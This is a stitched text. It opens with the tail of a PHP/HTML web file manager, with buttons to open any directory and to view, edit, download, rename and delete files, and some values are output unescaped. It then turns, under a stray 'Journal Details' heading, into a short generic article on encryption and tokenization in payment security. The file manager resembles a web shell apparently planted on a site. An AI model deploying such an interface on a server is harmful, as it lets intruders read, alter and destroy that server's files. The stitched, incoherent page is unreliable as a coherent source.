                    <input type="checkbox" name="selected_items[]" value="<?= htmlentities($item) ?>" onclick="updateBulkActions()">
                </td>
                <td>
                    <?php if ($itemToRename === $item): ?>
                        </form>
                        <form method="post" class="rename-form">
                            <input type="hidden" name="old_name" value="<?= htmlentities($item) ?>">
                            <input type="text" name="new_name" value="<?= htmlentities($item) ?>">
                            <button class="btn btn-primary btn-sm" type="submit">Save</button>
                        </form>
                        <form method="post" id="file-form">
                    <?php else: ?>
                        <span class="file-icon"><?= $isDirectory ? '/' : '' ?></span>
                        <span class="file-name"><?= htmlentities($item) ?></span>
                    <?php endif; ?>
                </td>
                <td>
                    <span class="<?= $canWrite ? 'type-writable' : 'type-readonly' ?>">
                        <?= $isDirectory ? 'Folder' : 'File' ?>
                    </span>
                </td>
                <td>
                    <div class="action-buttons">
                    <?php if ($isDirectory): ?>
                        <form method="post">
                            <button name="navigate" value="<?= $fullPath ?>" class="btn btn-sm">Open</button>
                        </form>
                    <?php else: ?>
                        <form method="post">
                            <button name="view" value="<?= $item ?>" class="btn btn-sm">View</button>
                        </form>
                        <form method="post">
                            <button name="edit" value="<?= $item ?>" class="btn btn-sm">Edit</button>
                        </form>
                    <?php endif; ?>
                        <form method="post">
                            <button name="download" value="<?= $item ?>" class="btn btn-sm">Download</button>
                        </form>
                        <form method="post">
                            <button name="rename" value="<?= $item ?>" class="btn btn-sm">Rename</button>
                        </form>
                        <form method="post">
                            <button name="remove" value="<?= $item ?>" class="btn btn-danger btn-sm" onclick="return confirm('Delete this item?')">Delete</button>
                        </form>
                    </div>
                </td>
            </tr>
        <?php endforeach; ?>
        </tbody>
    </table>
    </form>
</div>
</body>
</html>
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Journal Details
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Enhancing Payment Security: The Role of Encryption and Tokenization in Digital Transactions

As digital transactions proliferate, ensuring robust payment security is more critical than ever. Two foundational technologies that are pivotal in this effort are encryption and tokenization.
Encryption is a process that transforms data into a secure format, known as ciphertext, which can only be deciphered using a specific decryption key. This means that even if data is intercepted during transmission, it remains unreadable and protected from unauthorized access. Encryption is essential in safeguarding sensitive payment information, such as credit card details and personal data, during online transactions.
Tokenization, on the other hand, involves substituting sensitive data with unique identifiers or "tokens." These tokens serve as placeholders and have no value outside of the specific transaction context. If intercepted, tokens are meaningless and cannot be used to access the original sensitive data. This method significantly reduces the risk of fraud and data breaches, as the actual payment information is not stored or transmitted.
Together, encryption and tokenization form a powerful security framework. Encryption ensures that data is protected during transmission, while tokenization minimizes the risk of exposing sensitive information by replacing it with secure, non-sensitive tokens.
These technologies are integral to modern payment platforms, providing a robust defense against cyber threats. By implementing advanced encryption and tokenization techniques, businesses can enhance the security of digital transactions, ensuring that users' financial and personal information remains safe. This comprehensive approach not only builds user trust but also fortifies the overall security infrastructure of digital payment systems. As cyber threats evolve, the continued advancement of encryption and tokenization will be crucial in maintaining secure and reliable payment processes.

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